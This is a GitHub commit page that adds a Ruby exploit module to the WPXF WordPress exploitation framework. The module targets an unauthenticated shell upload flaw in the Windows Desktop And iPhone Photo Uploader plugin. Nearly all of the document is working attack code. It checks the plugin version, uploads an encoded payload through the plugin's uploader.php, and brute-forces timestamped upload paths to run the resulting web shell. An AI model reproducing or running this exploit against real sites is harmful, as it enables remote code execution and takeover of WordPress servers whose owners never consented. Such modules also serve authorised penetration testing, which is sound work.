Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 9a65a2c

Browse files
committed
Add Windows Desktop And iPhone Photo Uploader unauthenticated shell upload
1 parent c2a816b commit 9a65a2c

File tree

1 file changed

+43
-0
lines changed

1 file changed

+43
-0
lines changed
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
class Wpxf::Exploit::WindowsDesktopAndIphonePhotoUploaderShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Windows Desktop And iPhone Photo Uploader Unauthenticated Shell Upload',
9+
author: [
10+
'Manish Kishan Tanwar AKA error1046', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '7893']
15+
],
16+
date: 'Apr 09 2015'
17+
)
18+
end
19+
20+
def check
21+
check_plugin_version_from_readme('i-dump-iphone-to-wordpress-photo-uploader')
22+
end
23+
24+
def uploader_url
25+
normalize_uri(wordpress_url_plugins, 'i-dump-iphone-to-wordpress-photo-uploader', 'uploader.php')
26+
end
27+
28+
def payload_body_builder
29+
@start_timestamp = Time.now.to_i
30+
builder = Utility::BodyBuilder.new
31+
builder.add_file_from_string('file', payload.encoded, payload_name)
32+
builder
33+
end
34+
35+
def execute_payload(_payload_url)
36+
@end_timestamp = Time.now.to_i
37+
base_upload_uri = normalize_uri(wordpress_url_uploads, 'i-dump-uploads')
38+
39+
(@start_timestamp..@end_timestamp).each do |timestamp|
40+
super(normalize_uri(base_upload_uri, "-#{timestamp}-#{payload_name}"))
41+
end
42+
end
43+
end

0 commit comments

Comments
 (0)